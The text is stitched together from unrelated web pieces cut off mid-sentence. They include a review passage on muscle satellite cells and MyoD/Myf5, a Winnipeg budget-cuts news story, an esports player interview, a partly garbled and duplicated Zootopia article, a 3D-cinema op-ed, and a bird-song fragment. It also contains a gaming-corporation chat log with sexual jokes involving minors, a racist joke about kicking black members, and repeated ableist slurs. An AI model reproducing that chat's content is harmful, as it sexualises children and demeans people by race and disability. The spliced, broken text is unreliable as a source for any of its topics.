Upon exposure to signals from a damaged environment, satellite cells exit their quiescent state and start to proliferate (satellite cell activation). Proliferating satellite cells and their progeny are often referred to as myogenic precursor cells (MPC) or adult myoblasts. Satellite cell activation is governed by multiple niche factors and signaling pathways (discussed in detail in sect. IIIA). Satellite cell activation is not only restricted to the site of muscle damage. In fact, localized damage at one end of a muscle fiber leads to the activation of all satellite cells along the same myofiber and migration of these satellite cells to the regeneration site (473). Satellite cell activation is also accompanied by extensive cell mobility/migration. It has been observed that satellite cells can migrate between myofibers and even muscles across barriers of basal lamina and connective tissues during muscle development, growth, and regeneration (241, 251, 557). Recently, sialomucin CD34, whose expression is high on quiescent satellite cells but dramatically reduced during satellite cell activation, was demonstrated to act as an antiadhesive molecule to facilitate migration and promote the proliferation of satellite cells at very early stages of muscle regeneration (8). In addition, dynamic regulation of Eph receptors and ephrin ligands in activated satellite cells and regenerating myofibers have been shown to direct satellite cell migration (506).
Unlike quiescent satellite cells, myogenic precursor cells are characterized by the rapid expression of myogenic transcription factors MyoD (111, 114, 116, 175, 207, 497, 572, 585) and Myf5 (111, 116). Of note, the presence of MyoD, desmin, and Myogenin in satellite cells was observed as early as 12 h after injury, which is before any noticeable sign of satellite cell proliferation (426, 497). This early expression of MyoD is proposed to be associated with a subpopulation of committed satellite cells, which are poised to differentiate without proliferation (426). In contrast, the majority of satellite cells express either MyoD or Myf5 by 24 h following injury (111, 116, 585) and subsequently coexpress both factors by 48 h (111, 116). The ability of satellite cells to upregulate either MyoD or Myf5 suggests these two transcription factors may have different functions in adult myogenesis.
First, MyoD−/− mutant mice display markedly reduced muscle mass (338). This atrophy phenotype is reportedly due to delayed myogenic differentiation (564, 573). Similarly, muscle regeneration is also impaired in MyoD−/− mice, resulting in an increased number of myoblasts within the damaged area (338). These MyoD−/− myoblasts persist for extended periods of time, fail to differentiate, and do not fuse into myotubes. This is consistent with the notion that MyoD−/− myoblasts, when cultured in myogenic differentiation conditions, continue to proliferate and eventually give rise to a decreased number of differentiated mononucleated myocytes (114, 452, 573). Intriguingly, transplanted MyoD−/− myoblasts have been reported to survive and engraft into MyoD+/+ regenerating muscles with improved efficacy (compared with wild-type myoblasts). This phenotype is reportedly due to their increased stem cell characteristics and repressed apoptotic potential (22, 231). After regeneration, these transplanted MyoD−/− myoblasts not only give rise to myonuclei but also contribute to the satellite cell pool (22). On the other hand, ectopic expression of MyoD in NIH-3T3 and C3H10T1/2 fibroblasts is sufficient to activate the complete myogenic program in these cells (234). Taken together, these observations indicate that expression of MyoD is an important determinant of myogenic differentiation, and in the absence of MyoD, activated myoblasts have a propensity for proliferation and self-renewal (452). In contrast to the MyoD−/− mice, Myf5−/− mutant mice show a myofiber hypertrophy phenotype (187), and the proliferation of Myf5−/− myoblasts is compromised (187, 542). Together, these results implicate a distinct role for Myf5 in adult myoblast proliferation, while MyoD is essential for differentiation. Notably, the disparate functions of Myf5 and MyoD in adult muscle regeneration parallel the proposed roles for these transcription factors throughout the development of distinct myogenic lineages during embryogenesis (188, 213, 256–259; reviewed in Ref. 260). Together, the aforementioned observations suggest a hypothesis that satellite cells enter different myogenic programs depending on whether Myf5 or MyoD expression predominates (450). Predominance of MyoD expression would drive the program toward early differentiation, as exemplified by the behavior of Myf5−/− myoblasts (349). In contrast, predominance of Myf5 expression would direct the program into enhanced proliferation and delayed differentiation, as shown by the behavior of MyoD−/− myoblasts (452). Finally, myoblasts coexpressing both Myf5 and MyoD would exhibit the intermediate growth and differentiation propensities as shown by most of satellite cell-derived myoblasts. This hypothesis is consistent with the observation that MyoD and Myf5 have different expression profiles throughout the cell cycle. MyoD expression peaks in mid G 1, whereas Myf5 expression is maximal at the G 0 and G 2 phases of the cell cycle (273). Therefore, disruptions to the MyoD/Myf5 ratio may determine the choice of myogenic programs. This hypothesis also explains the spectrum of proliferation and differentiation potential observed in different primary myoblast clones cultured in vitro.
Several studies have revealed that MyoD expression in proliferating myoblasts is positively regulated by serum response factor (SRF), which binds to the serum response element (SRE) within the MyoD regulatory region (186, 285). In proliferating myoblasts, SRF only drives low levels of MyoD expression (286), whose activity is inhibited by cyclin D1 induced cyclin dependent kinase 4 (Cdk4) (587). However, the induction of MEF2 expression prior to differentiation enables MEF2 to out-compete SRF for the SRE binding site and leads to high levels of MyoD expression and initiation of differentiation (286). This function of MEF2 is further regulated by a member of the myocardin family of transcription factors, MASTR, whose expression is upregulated in response to muscle injury (348).
Notably, our group recently revealed a pro-proliferation function of MyoD in myoblasts (191). We found that the γ isoform of p38 kinase (p38γ) phosphorylates MyoD, which negates the transcriptional activation potential of MyoD and leads to a repressive MyoD complex occupying the Myogenin promoter (191). This positive effect of p38γ on myoblast proliferation is also supported by the observation that Myogenin is prematurely expressed in p38γ-deficient muscle, which displays markedly reduced myoblast proliferation (191). These results also support the notion that the functional state of MyoD depends on cofactors present in the MyoD transcriptional complex.
Moreover, multiple studies demonstrated that MyoD expression does not always warrant myogenic commitment. Monitoring satellite cell lineage progression revealed that some Pax7+/MyoD+ proliferating myoblasts could retract back to a Pax7+/MyoD− state and eventually return to quiescence (127, 216, 584; discussed in sect. IIC). In addition, the reciprocal inhibition of Pax7 with MRFs (MyoD and Myogenin) has been revealed in C3H10T1/2 fibroblasts and MM14 myoblasts in vitro (385). It was found that Pax7 decreases MyoD transcription activity and stability, whereas Myogenin represses Pax7 transcription likely via the HMGB1-RAGE axis (385, 438). Based on these observations, it was proposed that the ratio of Pax7 and MyoD activities are critical for satellite cell fate determination (385). A high ratio of Pax7 to MyoD (as seen in quiescent satellite cells) keeps satellite cells in their quiescent state. An intermediate ratio of Pax7 to MyoD allows satellite cells to proliferate, but not differentiate. Satellite cells with a low Pax7-to-MyoD ratio begin to differentiate, and further reduction in Pax7 levels are observed following activation of Myogenin.
After limited rounds of proliferation, the majority of satellite cells enter the myogenic differentiation program and begin to fuse to damaged myofibers or fuse to each other to form new myofibers. The initiation of terminal differentiation starts with the expression of Myogen |
all happening in old neighbourhoods," he said Thursday.
Mynarski Coun. Ross Eadie says he was told by city administrators that cuts to recreation services, such as wading pools, may be necessary in this year's budget. "It's very upsetting given that we have what's called the big divide, the gap and racism, and the poorest people are the ones who are going to be having their services cut."
Eadie says the budget also proposes discontinuing evening programs at the St. John's Leisure Centre, which is also in his ward, and eventually selling off the building.
He said the programs that are slated to close include cooking classes for children and Pilates classes for young people with intellectual disabilities.
"Kids love that; it's something for them to do," he said.
"The reality is not every kid is interested in community sports. You have to offer them activities outside of that, and that's what the leisure centre offers."
James Kim, who helps run a similar program for people with intellectual disabilities at St. John's during the day, said it would be unfortunate if the leisure centre is sold.
"It's a good place for them to … find their place in the community and bond," Kim said.
Eadie said he was told the potential cuts would save the city $500,000 this year and $1 million every year after that.
'It better not be this'
Elmwood-East Kildonan Coun. Jason Schreyer says he has been given some information on what may be in the budget, which Mayor Brian Bowman has said will be a difficult one for the city.
While Schreyer said he cannot discuss specifics of what is in the proposed budget so far, he did note that city officials have been ordered by council's executive policy committee to find savings.
"They are thus obliged to look for efficiencies. If it comes down to service cuts, if that's the case, that's where I have a problem," he said.
"I don't know what's going to be ultimately in the budget, but from what we see in the media, as far as I'm concerned, it better not be this. And I'm not the only councillor that thinks so."
Schreyer said he hopes any proposed cuts to recreation services will not end up in the final budget draft.
The city budget is expected to be tabled early next month.It was only a week ago that SK Telecom T1 took on the ROX Tigers in the 2016 World Championship semifinals, but already it’s been hailed as the best series of the year, and possibly the best in Worlds history. The two have faced off again and again since 2014, when team co-ownership was restricted and Korea's premier league was restructured, but at every turn SKT have put a stop to the Tigers.
With each finals meeting in Korea and on the international stage, the Tigers have edged closer to taking their first series win over their rivals. This was supposed to be the year that they finally toppled their greatest adversary, paving the way to a World Championship title. But after a lengthy, grueling, spectacular best-of-five, SKT still won. The Tigers were stopped again, and SKT headed on to what may be their third Worlds victory.
Though that semifinal will be talked about for seasons to come, SKT top laner Lee “Duke” Ho-seong's memory of it is already fuzzy moments after playing in it. “I’m trying to remember how we won our first match,” he says. “Do you have a list of the champion picks?” He smiles, as I fumble through my notebook, whispering “Thank you” to me in English.
I tell him that he played Trundle and he nods. “The first game was very smooth, a straight win,” he says, visibly exhausted and radiating the happiness that only an arduous best-of-five victory can bring. “The second and third games not only did we perform really poorly, but we were also surprised from the Miss Fortune pick. That was not good at all for the team.” He pauses and laughs.
“When we first saw Miss Fortune, we were actually very happy," he continues. "We were pretty excited, because we thought it must be a mis-pick or something. After the second game, we thought that the reason why we lost wasn’t Miss Fortune, but by the third game we decided that we couldn’t risk it anymore, facing up against a pick like that that we weren’t familiar with.”
Known for his quiet nature, bass monotone and chewing gum habit, Duke often fades into the background in on-stage interviews — but now he is animated with the thrill of a difficult win, gushing and gesticulating despite the energy he's expended. “When I first joined [SKT] the coach actually scolded me pretty badly for remaining so silent,” he says. “I’m doing my best.”
Even though he is accustomed to grueling best-of series, Duke admits that this is one of the first times he has been on the winning side of a close best-of-five. "I’m really used to long series, before when I wasn’t on SKT. I lost almost all of them." He bursts out laughing, shaking his head at the memory. "Having broken that jinx on such a big stage is a bit of a relief for me."
After the departure of Jang “MaRin” Gyeong-hwan in the 2015-16 offseason, Duke pushed hard for a spot on SKT, a team he knew would win championships. However the transition was far from seamless. Unused to having a more talkative team with a comprehensive communication system, Duke found it difficult to speak up. His poor Teleport usage stood out, and eventually became a major weak point for the team. Though jungler Kang “Blank” Sun-gu soaked up most of the blame for SKT's weaker performances, a small slice was always reserved for Duke and his memetic TPs.
Duke is still critical of his own Teleports, calling his TPs in the ROX series "normal" rather than "awesome." He says the team typically has him focus on split-pushing at least partly because his TP skill is lacking. “Nowadays there is such a strong emphasis on the laning phase,” he laughs. “If I get out of the laning phase okay, I did my part.”
Pressed for his thoughts on how he performed against the Tigers Song “Smeb” Kyung-ho — widely considered the best top laner in the world — he is all good humor.
“I beat him three times and lost twice,” he says, laughing.
Although he still struggles to improve communication with the rest of his team, Duke has found something on SKT that he never had on NaJin e-mFire: confidence in his teammates. On NaJin, the top lane was truly an island; Duke shone in lane and even earned the MVP award in LCK Spring 2015, but NaJin still finished in sixth place, out of playoff contention. On SKT, Duke has already played a part in major victories in the LCK, IEM World Championship and Mid-Season Invitational.
In the first week of the group stage, Duke said he was sure that “SKT is the team with the best chance to win the tournament.” Now bound for the Grand Finals, his confidence in his team is about to pay off.
Emily Rand is a staff writer for theScore eSports. You can follow her on Twitter.What Zootopia 2 Should Be About, According To The Cast By Sean O'Connell Random Article Blend Zootopia made Zootopia earned enough money to greenlight an eventual sequel, so we asked the cast what they’d like to see happen in Zootopia 2.
Now, we’re probably getting ahead of ourselves. Walt Disney Animation actually hasn’t made a sequel in a very long time (unlike Pixar, which cranks them out), and if a sequel were to happen, it might be Frozen 2 before Zootopia 2. But when I had the opportunity to interview Zootopia, I asked them each what they’d like to see happen in Zootopia 2, and they both had very different answers. Goodwin, who voices Officer Judy Hopps, wanted to see the script flipped just a bit, saying: You and I know what happens at the end of the movie, and I would like them to along on this adventure in their new roles. But because they are playing new roles, I would also like to see Nick [Wilde] have to be the one to convince Judy [Hopps] that the world is worth fighting for.
In this initial adventure, Judy (Ginnifer Goodwin) is the optimistic character who wants what’s best for her adopted city of Zootopia. In order to crack her first case, she must team with a sly fox (Jason Bateman) and show him that his cynical world view is counterproductive. It would be very interesting to see their dynamic reversed for Zootopia 2, mainly because I’d love to now the event that made Judy Hopps lose her faith.
Jason Bateman played it a little more straight. Spoiler Alert before you read his answer, because it pertains to the ending of Zootopia. You have been warned.
He said that now the Nick and Judy are partners on the force, he’d prefer to see this: The two of us, kicking ass out there. Cleaning up the streets. We’re a couple of new cops out there. So, bad guys, be warned.
A sequel to Zootopia could go in multiple directions, now that this law-enforcing team has been established. As mentioned, though, Zootopia is just the latest in a recent string of Disney Animated Movies, so I wonder if the studio would look at a movie like Frozen, Wreck-It Ralph or Big Hero 6 before they developed another story like Zootopia 2? In case you missed the news bulletin, Disney’smade a lot of money over the weekend. Like, a record-breaking amount of box-office dollars. Some might even say thatearned enough money to greenlight an eventual sequel, so we asked the cast what they’d like to see happen inNow, we’re probably getting ahead of ourselves. Walt Disney Animation actually hasn’t made a sequel in a very long time (unlike Pixar, which cranks them out), and if a sequel were to happen, it might bebefore. But when I had the opportunity to interview Ginnifer Goodwin and Jason Bateman on behalf of, I asked them each what they’d like to see happen in, and they both had very different answers. Goodwin, who voices Officer Judy Hopps, wanted to see the script flipped just a bit, saying:In this initial adventure, Judy (Ginnifer Goodwin) is the optimistic character who wants what’s best for her adopted city of Zootopia. In order to crack her first case, she must team with a sly fox (Jason Bateman) and show him that his cynical world view is counterproductive. It would be very interesting to see their dynamic reversed for, mainly because I’d love to now the event that made Judy Hopps lose her faith.Jason Bateman played it a little more straight.He said that now the Nick and Judy are partners on the force, he’d prefer to see this:A sequel tocould go in multiple directions, now that this law-enforcing team has been established. As mentioned, though,is just the latest in a recent string of Disney Animated Movies, so I wonder if the studio would look at a movie likeorbefore they developed another story like What do you think? Which sequel should Disney pursue first? And what idea would you like to see on screen? Blended From Around The Web Facebook
Back to topPlease note: there's a slight spoiler for Joe Dante's The Hole a bit further down. It's clearly marked.
Last week saw the UK release of Hugo, and if you weren't expecting a 3D family film from Martin Scorsese, you might be even more surprised to hear that his film boasts the most adept use of Real-D 3D since the resurgence of stereoscopy in the cinema.
Hugo, which is possessed with a love of early cinema that is as accessible for young children as it is for hardened film buffs, actually finds a thematic use for 3D. It directly recalls the first audience who saw the Lumière brothers' Arrival Of A Train At La Ciotat. They reportedly ran away from the screen, because it was like the train was really coming towards them.
As well as the added sense of depth afforded to Hugo’s carnivalesque train station and Parisian landscape, Scorsese quite gleefully points things in the audience's faces, too. At one point, Sacha Baron Cohen's station inspector gets in Hugo's face, and, simultaneously, in the face of every member of the audience too.
While any opinion of Hugo in 3D is subjective, James Cameron’s declaration that it features the best 3D he's ever seen is surely an indication that Scorsese's first run with the technique is something very special indeed. In a time of post-conversions and inflated ticket prices, Hugo has justification for its 3D, and for once, it actually adds something to the film. Are there many other 3D films from the last couple of years about which we can say the same?
3D aficionados will surely speak up for Avatar and The Adventures Of Tintin: The Secret Of The Unicorn, which seem to be ideal examples. I liked Avatar a lot, and loved the experience of seeing it in the cinema even more, but it's the film that I remember, and not the 3D. When I went back to view the film again, I didn't feel any need to don the plastic glasses once again, and the film is just as good in 2D.
Yes, the optical illusion fills out the world of Pandora and all of that, but if we're honest, that planet, brought to life on the big screen, looks stunning because it's completely computer-generated. It's a huge step forward in special effects, in precisely the way that the 3D wasn't.
There was a pre-feature cinema ad going around recently, which featured Simon Pegg, someone who has spoken against 3D on his Twitter account in the past, talking about Tintin, and saying it was “the best use of 3D I have seen in any film.” Fair enough, but Tintin is a much more recent film, and I don't even remember anything memorable about the 3D in that either.
As with Avatar, I was far more impressed with the visual effects, and the performance-capture animation that brought Hergé's characters to life in such a vibrant fashion. But as mentioned, enjoyment of 3D is subjective, and it's not to say that those films were technically unsound in their use of 3D. Some supporters will say that it's so good, you don't even notice it, which begs the question of why it needs to be there at all.
From a personal standpoint, I would look to Joe Dante's The Hole and the far more anarchic Jackass 3D for the best uses of live-action 3D on the big screen. Although subject to the little technical problems of 3D, especially ghosting, The Hole, in the tradition of Gremlins, is an enjoyable, entry-level horror film for kids, which uses 3D to embellish some of its creepier scenes.
Here comes The Hole mild spoiler.
Yes, Dante indulges in a scene where young Lucas lies on his bed, throwing a baseball up towards the camera, but later on, there's a terrific scene in which the hole in the kids' basement is revealed to contain their worst fears – specifically, their childhood home at a time when their abusive father was still around.
The exaggerated scale of the sets, representing how the rooms appeared to the kids when they were very young and frightened, is filled out by the 3D in a really unnerving way. 3D was used to a similar effect in the animated Coraline, another family movie with elements of gothic horror, and a showcase of what can be done with stereoscopy in terms of storytelling.
Spoiler ends.
Perhaps it undermines any of my arguments to say so, but one of the few other 3D films I enjoyed for its 3D was Jackass 3D, which transformed that film series from extended episodes of the TV series, into a more cinematic and imaginative extended episode of the TV series.
Having not been a huge fan of Jackass, or the previous two films in the series, the third instalment was genuinely improved by the use of 3D, putting the demented imaginations of Johnny Knoxville and the rest of his team to the test. If 3D is, as some critics have said, a fairground attraction, then Jackass 3D was its gloriously visceral freakshow, and I enjoyed the hell out of it.
Those are both films for which I would say 3D is really essential. Even Hugo, which would definitely be the film to see if you've somehow avoided the surcharges and the glasses on your cinema visits up until now, is pretty special even without 3D. But Hugo is still an instance of 3D working very well, and it's not the only one.
If there's one thing we've noticed, it's that 3D works best with floating or flying objects. The snow in Hugo, the lanterns in Tangled, the embers of dead vampires in Fright Night, the mountain banshees in Avatar and, of course, Toothless in How To Train Your Dragon. With Jeffrey Katzenberg's commitment to make all of DreamWorks' films 3D from Monsters Vs. Aliens onwards, How To Train Your Dragon was the real watershed moment for the studio's 3D output.
In fact, DreamWorks has generally done a grand job with 3D, relying less on gimmicks and things popping out of the screen, and more on the kind of spectacle that makes it worth the price of admission. Although Shrek Forever After particularly suffered from the light loss inherent to the technology, Kung Fu Panda 2 is a great example, and even has a terrific sequence of hand-drawn animation that looks astonishing in 3D.
So if there's demonstrably a fair amount of 3D that does work in movies, even though it’s not always essential to the experience, why this perception that it doesn't work? Typically, 3D gets far more bad press than good, despite the hype juggernaut, because of the proliferation of post-conversions.
The most infamous examples would be last year's Clash Of The Titans and The Last Airbender, which are prime instances of studio tendencies to rush through a post-conversion after the mammoth box-office success of Avatar. The awful 3D in Clash Of The Titans came together in about six weeks for its April 2010 release date.
For a time, there was an astonishing lack of quality control. The only time a studio has ever admitted that their post-conversion was sub-par was with Warner Bros' Harry Potter And The Deathly Hallows Part 1, and they actually cancelled the planned 3D version of that film, just one month before release.
Having had more time to work on the final instalment, Harry Potter And The Deathly Hallows Part 2 proved to be another pointless endeavour in its 3D variant, with the dark palette looking even duller when saddled with the usual light-loss problem. Some cinemas were even reported to have put up signs, warning customers that the film was “very dark” in 3D, to stave off complaints.
James Cameron, the most obvious champion of Real-D 3D, has complained about how the succession of shoddy conversions is damaging the potential and development of 3D, and has even set up a classification board. His plan is to certify filmmakers' use of 3D in the same way Dolby certifies quality sound, to establish a standard beneath which 3D should not fall.
Elsewhere, Cameron is painstakingly converting his Best Picture-winning epic Titanic for an anniversary re-release in 3D, in April 2012. Likewise, a six-year plan to re-release the Star Wars films in 3D will begin in February with The Phantom Menace. Time will tell if the popularity of older films in 3D will hurt or help the development of the technology into something that is taken more seriously.
This seems like the best possible way to assure quality control in the future. If even the really good 3D has seldom proven itself essential to the film to which it's attached, then we're at a point where a shoddy post-conversion just won't do. 3D is presently the forte of CG-animated movies, which are much easier to convert without ghosting or light-loss than their live-action competitors.
With decreasing revenues from 3D screenings as opposed to 2D screenings in the States, the future of Real-D seems as unclear as Clash Of The Titans. Peter Jackson is using 3D to shoot The Hobbit. Christopher Nolan didn't use it on The Dark Knight Rises. So there are clearly still divisions, but if 3D is to become the norm, filmmakers must make the inflated ticket price and the wearing of the glasses as justifiable as Martin Scorsese has done with Hugo.Untitled a guest Dec 29th, 2015 338 Never a guest338Never
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rawdownloadcloneembedreportprint text 10.81 KB nikolai [4:26 AM] i hate everybody, and i especially hate kids, but what's wrong with underage players in eve otsdarva [4:26 AM] i did see an orca on our lossboard though kaahz [4:26 AM] ^^^ otsdarva [4:26 AM] rekt nikolai [4:27 AM] we have multiple underage folks in corp kaahz [4:27 AM] purge nikolai [4:27 AM] so again, what's wrong with that otsdarva [4:27 AM] NOOOOOOOOOO kaahz [4:27 AM] most of us are adults chadrickfrakes [4:27 AM] I play Eve because of the age demographic vs most online games. kaahz [4:27 AM] yea nikolai [4:27 AM] if it's him being a dumbass then sure kaahz [4:27 AM] fucking kids chadrickfrakes [4:27 AM] I don't want to talk about this again! nikolai [4:27 AM] if it's because he's young, you have bigger issues chadrickfrakes [4:27 AM] Why does Bardam hate girls? Same thing. nikolai [4:28 AM] i dont believe it is kaahz [4:28 AM] it's similar [4:28] this is our place to relax after work otsdarva [4:28 AM] we need girls [4:28] and they should be SUPER hot kaahz [4:28 AM] lol nikolai [4:28 AM] it's not our job to babysit kids, and we dont and wont. but they can play the game with us otsdarva [4:28 AM] ok corp project kaahz [4:28 AM] super hot girls that play eve [4:28] things that don't exist nikolai [4:28 AM] we're not kicking people just because they're not 18 otsdarva [4:28 AM] you must recruit a total of 1 girl per character you have in DNG [4:29] but the catch is bardam [4:29 AM] being old gives us the ability to be bigoted against young people. it's a naturally occurring phenomenon otsdarva [4:29 AM] the girls gotta be like, solid 8s kaahz [4:29 AM] solid 8's from real world people [4:29] or eve people otsdarva [4:29 AM]./10 i mean not years old chadrickfrakes [4:29 AM] BRB, moving toons to Baldrad corp. otsdarva [4:29 AM] real world kaahz [4:29 AM] oof otsdarva [4:29 AM] yeah like i said good luck nikolai [4:29 AM] lol ots [4:29] this just in: all of dng gets arrested otsdarva [4:29 AM] hahaha [4:29] yeah kaahz [4:30 AM] lol [4:30] nice ping nikolai [4:30 AM] but seriously if you have a problem with a guy solely because of his age, you have issues. we have multiple high schoolers in corp and i'd have been playing eve from middle school if i knew about it [4:31] maturity and age are different [4:31] if the guy's actually retarded, then kick him, because we're not catering to a kid just because he's young otsdarva [4:31 AM] i'd have been playing eve from before you were born shiva [4:31 AM] yeah otsdarva [4:31 AM] times infinity bardam [4:31 AM] i reserve the right to hate anyone for any reason shiva [4:31 AM] can people please stop getting their panties twisted? kaahz [4:31 AM] PANTIES TWISTED FC HALP otsdarva [4:31 AM] that's not your knickers twistin that's my hand flickin your bean kaahz [4:32 AM] I agree with bardam [4:32] I'm old enough to hate anyone I want chadrickfrakes [4:32 AM] I disagree. 14 year olds are shitters and someone is going to end up sending a picture of their brown eye to a minor. kaahz [4:32 AM] for any reason otsdarva [4:32 AM] WHATTTTTTTTTTTTTT [4:32] LOOOOOOOL [4:32] LOOOOOOOOOOOOOOOL [4:32] BROWN EYE nikolai [4:32 AM] are you seriously- otsdarva [4:32 AM] BROWN EYE! kaahz [4:32 AM] I mean, fleet porn is a concern nikolai [4:32 AM] because some 14 year old might see a naked dude, you want to kick them from corp otsdarva [4:32 AM] fever chadrickfrakes [4:32 AM] Yes. otsdarva [4:32 AM] when you hold me tight nikolai [4:32 AM] no kaahz [4:32 AM] Someone links some porn in fleet otsdarva [4:32 AM] FEVER kaahz [4:32 AM] And there's a kid chadrickfrakes [4:32 AM] I'll set up a Dust corp for him. shiva [4:32 AM] he's 14 not 10 kaahz [4:33 AM] did he just set a minor porn? otsdarva [4:33 AM] THIS IS THE WORST CHAT EVER [4:33] LITERALLY bardam [4:33 AM] this is giving me cancer shiva [4:33 AM] i'm sure he saw a shitload of aholes leoniaszateki [4:33 AM] Literally shiva [4:33 AM] he's watching porn like all day long otsdarva [4:33 AM] i'm fucking leaking this to reddit nikolai [4:33 AM] most people were married when they were 14 [4:33] 2000 years ago otsdarva [4:33 AM] now all of reddit knows you're a bunch of pedos kaahz [4:33 AM] and in texas otsdarva [4:33 AM] FUCKING PEDOS [4:33] @tujiko: bardam [4:33 AM] chadrick is right about the legal ramifications of letting underage kids in to a place where we have a history of sending people pics of our ballsacks tujiko [4:33 AM] joined #officerlounge by invitation from @otsdarva kaahz [4:34 AM] thank you bardam bardam [4:34 AM] so stop trying to shit on him shiva [4:34 AM] that's snapchat otsdarva [4:34 AM] THE LEGAL RAMIFICATIONS OF SNAPCHAT ARE COVERED BY THE TOS shiva [4:34 AM] ffs that's not an official alliance comms channel otsdarva [4:34 AM] I MADE THAT UPPPPPPPPPPPPPP~~~~~ nikolai [4:34 AM] so then simple rule bardam [4:34 AM] ffs it's been linked in FLEET shiva [4:34 AM] just tell him [4:34] hey don't add those 2 guys on snapchat otsdarva [4:34 AM] ok [4:34] OK shiva [4:34 AM] bang otsdarva [4:34 AM] NO i'm serious now [4:34] shush now shiva [4:34 AM] issue solved otsdarva [4:34 AM] the new rule is [4:34] virgins aren't allowed kaahz [4:34 AM] lol otsdarva [4:35 AM] so goodbye most of dng chadrickfrakes [4:35 AM] I have gaids now. nikolai [4:35 AM] corp size 10 leoniaszateki [4:35 AM] Well fleet porn is liable to get you banned period otsdarva [4:35 AM] corp size this channel leoniaszateki [4:35 AM] If a kids parents wrote ccp about fleet porn [4:35] Bans incoming otsdarva [4:35 AM] LMAO nikolai [4:35 AM] eh otsdarva [4:35 AM] L;OL [4:35] Can you imagine that letter shiva [4:35 AM] i just can't see the issue otsdarva [4:35 AM] and no shiva [4:35 AM] slack porn is in a channel clearly marked [4:35] fleet porn isn't allowed by cco otsdarva [4:36 AM] i don't see a kids parents writing to Blizzard saying 'MY SON FOUND A NAUGHTY LINK CAUSE SOMEONE WROTE IT IN CHAT' [4:36] which is the same thing as eve leoniaszateki [4:36 AM] Dude [4:36] That has literally happened shiva [4:36 AM] snapchat is out of official alliance stuff and it's easy to tell the guy to not add baldrad kaahz [4:36 AM] forget snapchat [4:36] fleet porn otsdarva [4:36 AM] oh ok well if it's happened then kaahz [4:36 AM] fleeeeeet porn [4:36] needs to stop otsdarva [4:36 AM] ya guys post some porn kaahz [4:36 AM] if we letting kids in otsdarva [4:36 AM] y nikolai [4:36 AM] if they're in dng, they already look at porn bardam [4:36 AM] this is now making me very aids otsdarva [4:36 AM] i'd still fuck you if you had aids i reckon bardam [4:37] actually nah chadrickfrakes [4:37 AM] I have double aids. And I'm retarded now. otsdarva [4:37 AM] probably not sorry bardam [4:37 AM] you would already have it [4:38] everybody is being retarded to some degree. do you really want to rock this boat? if so, we're going to be obligated to make new fucking rules which nobody wants chadrickfrakes [4:38 AM] Kill giphy. I'm on board. leoniaszateki [4:38 AM] Homestly I just wanna kick the kid to end this discussion kaahz [4:38 AM] ^ bardam [4:38 AM] unfortunatly that wont end the discussion chadrickfrakes [4:38 AM] I killed it earlier and it moved! [4:39] But for real kill giphy. otsdarva [4:39 AM] you guys [4:39] this is just an adventure [4:39] an experience leoniaszateki [4:39 AM] Haha otsdarva [4:39 AM] hardships we have to endure [4:39] as a team bardam [4:39 AM] because nik thinks you're mentally handicapped for being predigest against minors otsdarva [4:39 AM] and there's no I in team! kaahz [4:39 AM] lol nikolai [4:39 AM] more like bardam [4:39 AM] can't you fucks see this cycle? nikolai [4:39 AM] if you're a kid and you're playing eve, you're already not a kid [4:39] especially if you find dng shiva [4:40 AM] lol ots biomass bardam [4:40 AM] if YOU drop the subject, it goes away nikolai [4:40 AM] this game doesnt appeal to retards for a reason bardam [4:40 AM] OMFG otsdarva [4:40 AM] no one is a small goat chadrickfrakes [4:40 AM] You're a small goat. otsdarva [4:40 AM] i dunno i think ur all pretty retarded chadrickfrakes [4:40 AM] :goat: kaahz [4:40 AM] v0v otsdarva [4:40 AM] so it appeals to some retards kaahz [4:40 AM] I'm gonna go get divorced, I'll be back later nerds otsdarva [4:40 AM] \o leoniaszateki [4:40 AM] I don't give a fuck why we kick him otsdarva [4:40 AM] good luck kaahz [4:40 AM] LIKE AN ADULT [4:40] lol leoniaszateki [4:40 AM] I'm just saying I'd rather have a happy Chadrick than billy ball sack shiva [4:41 AM] kick him for his age? [4:41] we got way worse people leoniaszateki [4:41 AM] Nothing of value lost and all otsdarva [4:41 AM] i think we should kick all the black people then too bardam [4:41 AM] so find a reason to kick him that doesn't involve getting a bunch of idiots panty twists leoniaszateki [4:41 AM] Hahahaha chadrickfrakes [4:41 AM] I'm on Evecation. I was just voicing my opposition, was losing and conceded. otsdarva [4:41 AM] we gotta keep the asians though because of city leoniaszateki [4:41 AM] Well you fostered support chadrickfrakes [4:41 AM] There's no I in loser! otsdarva [4:42 AM] there is an I in chadrick though [4:42] and I stands for I'm shit [4:42] REKT chadrickfrakes [4:42 AM] :fire: otsdarva [4:42 AM] guys i'm gonna leak these logs chadrickfrakes [4:43 AM] Great. Welcome all the pedophiles that join DnG for the free window shopping. otsdarva [4:43 AM] HAHAHAHAHA [4:43] HAHAHAHAHAAHAHAHAHAHAHAHAHAHAHAHAHAHAHAAH new messages leoniaszateki [4:44 AM] anyway im all for a case by case assesment of maturity and fitting into dng [4:44] we've done it all along chadrickfrakes [4:44 AM] Ots how many pots are you smoking? leoniaszateki [4:44 AM] i just think its not a bad thing to at least discuss the posibilities of shit hitting fan with minors shiva [4:45 AM] hi reddit hi mom leoniaszateki [4:45 AM] also ill be fcing a show me your weiner fleet later tonight [4:45] 18 and under only [4:45] that way theres a mix of legal in there too
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nikolai [4:26 AM] i hate everybody, and i especially hate kids, but what's wrong with underage players in eve otsdarva [4:26 AM] i did see an orca on our lossboard though kaahz [4:26 AM] ^^^ otsdarva [4:26 AM] rekt nikolai [4:27 AM] we have multiple underage folks in corp kaahz [4:27 AM] purge nikolai [4:27 AM] so again, what's wrong with that otsdarva [4:27 AM] NOOOOOOOOOO kaahz [4:27 AM] most of us are adults chadrickfrakes [4:27 AM] I play Eve because of the age demographic vs most online games. kaahz [4:27 AM] yea nikolai [4:27 AM] if it's him being a dumbass then sure kaahz [4:27 AM] fucking kids chadrickfrakes [4:27 AM] I don't want to talk about this again! nikolai [4:27 AM] if it's because he's young, you have bigger issues chadrickfrakes [4: |
. Meanwhile, great tits living in the noisiest parts of Leiden in the Netherlands, have higher pitched tunes than those in the quieter areas, according to Dr Hans Slabbekoorn, of Leiden University.
Higher melodies are more audible to other birds.
When he looked at populations of great tits in ten European cities including London, Paris and Amsterdam, he found that every one sang at a higher pitch than those in the country.
Many believe that urban noise could eventually lead to the emergence of new species. As male birds use songs to attract mates, those that can sing above the urban din - or distinguish birdsong from the background noise of cars and factories - are more likely to breed successfully.
And so, within a few generations, the genetic make up of urban birds could be subtly different from rural birds.
Some scientists believe the European blackbird has already diverged into separate urban and rural subspecies with different body shapes and life histories.
Others suspect that noise could be wiping out city birds such as house sparrows.
Their numbers have fallen by twothirds in the last few decades in Britain.
